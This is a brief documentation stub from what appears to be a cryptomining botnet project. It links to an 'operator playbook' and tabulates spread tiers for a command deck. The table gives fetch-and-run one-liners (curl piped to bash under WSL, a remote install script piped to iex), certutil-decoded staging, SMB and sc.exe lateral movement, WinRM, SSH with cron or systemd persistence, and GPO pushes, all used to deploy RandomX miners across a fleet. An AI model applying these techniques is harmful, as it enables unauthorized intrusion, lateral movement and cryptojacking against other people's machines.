# Web-Mediated Spread Techniques

Canonical operator playbook (served at `/docs/SPREAD_TECHNIQUES.html` on a running command deck):

**[`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)**

Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)

Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`.

## Master test doc + full glossary

Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:

**[`tests/README.md`](../tests/README.md)** — sections [LOTL architecture (triple onion)](../tests/README.md#lotl-architecture-triple-onion) and [LOTL vector glossary](../tests/README.md#lotl-vector-glossary).

Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture).

## Mini glossary (spread tiers)

| Tier | One-line | Example |
|------|----------|---------|
| `vuln_recon` | Read-only KEV/CVE probe before spread | Triple-onion recon or `full_sys_check` |
| `docker` | Container-isolated RandomX | `com.docker.service` → `docker_load` join lane |
| `wsl` | WSL curl\|bash when Windows blocked | `wsl -e bash -c "curl … \| bash"` |
| `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` |
| `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` |
| `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest |
| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with `\\host\share\worker.exe` |
| `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` |
| `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` |
| `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` |

TypeScript source of truth for tier docs: [`server/web/src/help/lotlOnionTiers.ts`](../server/web/src/help/lotlOnionTiers.ts).